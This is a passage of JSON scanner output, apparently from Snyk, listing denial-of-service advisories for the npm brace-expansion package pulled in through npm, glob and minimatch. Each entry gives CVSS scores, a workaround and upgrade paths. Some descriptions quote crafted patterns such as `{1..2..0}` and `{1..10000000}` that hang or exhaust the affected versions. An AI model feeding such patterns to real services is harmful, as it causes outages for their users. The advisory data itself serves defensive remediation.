"4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": 